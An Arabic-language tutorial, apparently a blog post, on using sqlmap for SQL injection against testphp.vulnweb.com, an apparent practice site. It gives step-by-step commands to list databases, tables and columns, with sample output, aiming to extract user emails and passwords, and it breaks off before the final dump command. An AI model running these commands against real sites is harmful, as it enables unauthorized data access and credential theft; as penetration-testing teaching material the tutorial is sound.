عن طريق اداه sqlmap

اول شي اوامر تثبيت الاداه ...

اداه sqlmap


• git clone https://github.com/sqlmapproject/sqlmap.git

• cd sqlmap
ثم نقوم بكتابة امر
• python2 sqlmap.py -h

#CS

بعد ان قمنا بتثبيت الاداه راح نبدا نستخدمها علي موقعنا الاول و لي قمنا بفحصه و هاد هو

http://testphp.vulnweb.com/listproducts.php?cat=1

في بعض الأحيان ، يساعد استخدام -time-sec على تسريع العملية ، خاصةً عندما تكون استجابات الخادم بطيئة.

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --time-sec 15

جلب اسم ال database او قواعد البيانات تبع الموقع عن طريق الامر

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs

كما موضح بالصورة التاليه

اسم الداتا بيز تبع الموقع acuart

بعد طلعنا اسم الداتا بيز راح نطلع اسماء الجداول الموجوده بالموقع و ذلك عن طريق الامر التالي

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables

طلعت لنا اسماء الجداول كما موضح بالصور

ديل اسما الجداول

The result should be something like this -
Database: acuart
[8 tables]
+-----------+
| artists |
| carts |
| categ |
| featured |
| guestbook |
| pictures |
| products |
| users |

بعد طالعناهم راح نستخرج ما بداخل جدول user لان فيهو user password

جلب ما بداخل جدول user

sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T users --columns

بعدها بدنا نفتح كل الايميلات و اسماء مستخدمين الموقع و باسورداتهم

عن طريق الامر التالي